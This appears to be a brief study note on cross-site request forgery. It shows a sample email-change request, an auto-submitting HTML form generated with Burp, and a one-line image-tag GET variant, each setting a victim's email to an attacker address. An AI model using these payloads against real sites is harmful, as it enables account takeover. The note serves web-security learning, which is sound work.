Link Search Menu Expand Document

What is the problem

Consider:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

No protection

When using burp csrf generator:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

And try to trick the victim to load it and post the form.

Or self contained in GET:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

40397ac9 (main) : 2023-01-11T20:40:16+01:00